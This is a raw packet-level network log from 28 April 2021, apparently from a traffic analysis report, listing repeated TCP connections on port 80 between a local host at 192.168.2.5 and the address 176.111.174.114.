Apr 28, 2021 23:22:37.463263035 CEST	80	49762	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.467504978 CEST	80	49762	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.467596054 CEST	49762	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.581239939 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.581530094 CEST	49762	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.677154064 CEST	80	49762	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.677263975 CEST	49762	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.677844048 CEST	80	49763	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.677973032 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.678546906 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.776421070 CEST	80	49763	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.780479908 CEST	80	49763	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.780563116 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.892330885 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.893379927 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.988333941 CEST	80	49766	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.988440990 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.988904953 CEST	80	49763	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.988977909 CEST	49763	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.989062071 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.086322069 CEST	80	49766	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.090667009 CEST	80	49766	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.090740919 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.205068111 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.206084967 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.299890995 CEST	80	49766	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.301945925 CEST	49766	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.305311918 CEST	80	49767	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.306485891 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.306965113 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.406035900 CEST	80	49767	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.409638882 CEST	80	49767	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.409770012 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.517784119 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.519109964 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.612243891 CEST	80	49768	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.615675926 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.616116047 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.616664886 CEST	80	49767	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.616802931 CEST	49767	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.711693048 CEST	80	49768	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.713658094 CEST	80	49768	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.715632915 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.832335949 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.833379984 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.926938057 CEST	80	49768	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.927066088 CEST	49768	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.931041956 CEST	80	49769	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:38.931157112 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:38.931835890 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.029282093 CEST	80	49769	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.032809019 CEST	80	49769	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.033144951 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.143059969 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.144483089 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.240336895 CEST	80	49769	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.240413904 CEST	49769	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.244497061 CEST	80	49770	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.244580030 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.245767117 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.346770048 CEST	80	49770	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.350889921 CEST	80	49770	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.351006031 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.455734968 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.457128048 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.554146051 CEST	80	49771	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.554316044 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.554954052 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.557172060 CEST	80	49770	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.557280064 CEST	49770	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.650160074 CEST	80	49771	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.654254913 CEST	80	49771	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.654326916 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.774301052 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.779464006 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.873801947 CEST	80	49771	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.873917103 CEST	49771	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.877799034 CEST	80	49772	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.877963066 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.878437042 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:39.975166082 CEST	80	49772	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.983767033 CEST	80	49772	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:39.983851910 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.096075058 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.097718954 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.195647955 CEST	80	49773	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.195678949 CEST	80	49772	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.195892096 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.195947886 CEST	49772	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.196463108 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.290365934 CEST	80	49773	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.296974897 CEST	80	49773	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.298244953 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.408520937 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.417742968 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.503535986 CEST	80	49773	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.503690958 CEST	49773	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.517494917 CEST	80	49774	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.517673969 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.518136978 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.616081953 CEST	80	49774	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.620518923 CEST	80	49774	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.621877909 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.736733913 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.738349915 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.834585905 CEST	80	49774	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.836204052 CEST	80	49775	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.836323023 CEST	49774	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.836611032 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.837671995 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:40.937968016 CEST	80	49775	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.942796946 CEST	80	49775	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:40.942986965 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.050163031 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.051639080 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.147922993 CEST	80	49775	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.148013115 CEST	49775	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.149075985 CEST	80	49776	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.149184942 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.149847031 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.248406887 CEST	80	49776	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.253010988 CEST	80	49776	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.253145933 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.364510059 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.366048098 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.461968899 CEST	80	49776	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.462110996 CEST	49776	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.467257977 CEST	80	49777	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.467436075 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.468123913 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.569874048 CEST	80	49777	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.574029922 CEST	80	49777	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.574174881 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.690148115 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.691637993 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.786242008 CEST	80	49778	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.786372900 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.786973953 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.794744968 CEST	80	49777	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.794859886 CEST	49777	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.879822016 CEST	80	49778	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.885004997 CEST	80	49778	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:41.885166883 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.987339973 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:41.988913059 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.082195044 CEST	80	49778	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.082340956 CEST	49778	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.086901903 CEST	80	49779	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.087032080 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.087672949 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.187740088 CEST	80	49779	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.190591097 CEST	80	49779	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.190670967 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.300184011 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.301579952 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.399976969 CEST	80	49779	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.401365995 CEST	49779	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.407877922 CEST	80	49780	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.408015966 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.409410000 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.512474060 CEST	80	49780	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.516221046 CEST	80	49780	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.516369104 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.627238989 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.628700018 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.728096008 CEST	80	49781	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.728198051 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.729336977 CEST	80	49780	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.729427099 CEST	49780	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.731199980 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.831960917 CEST	80	49781	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.836169958 CEST	80	49781	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:42.836246967 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.939882994 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:42.941070080 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.034529924 CEST	80	49782	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.034637928 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.035079956 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.039480925 CEST	80	49781	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.039585114 CEST	49781	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.128926992 CEST	80	49782	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.132977962 CEST	80	49782	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.133186102 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.236623049 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.237770081 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.330184937 CEST	80	49782	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.330660105 CEST	49782	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.337461948 CEST	80	49783	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.338717937 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.339297056 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.439161062 CEST	80	49783	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.442821980 CEST	80	49783	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.443264008 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.549371004 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.550777912 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.649552107 CEST	80	49783	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.649647951 CEST	49783	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.658385038 CEST	80	49784	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.662199020 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.662713051 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.770426035 CEST	80	49784	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.774471045 CEST	80	49784	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.775156021 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.895179033 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.896208048 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.991621971 CEST	80	49785	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:43.992125034 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:43.992682934 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.002773046 CEST	80	49784	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.002901077 CEST	49784	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.087733984 CEST	80	49785	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.092027903 CEST	80	49785	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.092145920 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.206159115 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.207315922 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.302689075 CEST	80	49785	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.302817106 CEST	49785	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.307914972 CEST	80	49786	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.308053970 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.308525085 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.409181118 CEST	80	49786	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.413302898 CEST	80	49786	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.413430929 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.471538067 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.519475937 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.520706892 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.569344997 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.569432020 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.569696903 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.620954990 CEST	80	49788	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.621064901 CEST	80	49786	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.621141911 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.621227026 CEST	49786	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.621699095 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.665055037 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.665095091 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.665119886 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.665139914 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.665194035 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.665283918 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.665321112 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.719235897 CEST	80	49788	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.723082066 CEST	80	49788	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.723196983 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.760719061 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.760760069 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.760788918 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.760812998 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.760890007 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.760934114 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.760972977 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.761053085 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.761174917 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.761204958 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.761316061 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.761343002 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.761404037 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.843581915 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.844856977 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856405020 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856457949 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856483936 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856508017 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856524944 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856540918 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856579065 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856595039 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856618881 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856638908 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856663942 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856674910 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856820107 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856868029 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856893063 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856926918 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.856926918 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.856985092 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857014894 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857083082 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857110023 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857171059 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857203960 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857223988 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857321978 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857453108 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857537985 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857636929 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857764006 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857786894 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.857872963 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.857958078 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.858045101 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.858154058 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.858189106 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.858242035 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.858273029 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.858340979 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.858544111 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.941219091 CEST	80	49788	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.941342115 CEST	49788	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.942074060 CEST	80	49789	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.942183018 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.942606926 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:44.951729059 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.951834917 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.951845884 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.951994896 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.952006102 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.952033043 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.952234983 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.952997923 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953033924 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953046083 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953231096 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953416109 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953427076 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953438997 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953449965 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953594923 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953605890 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953749895 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.953950882 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954232931 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954349995 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954430103 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954634905 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954830885 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.954910040 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.955132008 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:44.956811905 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.001596928 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.009469986 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.040321112 CEST	80	49789	176.111.174.114	192.168.2.5
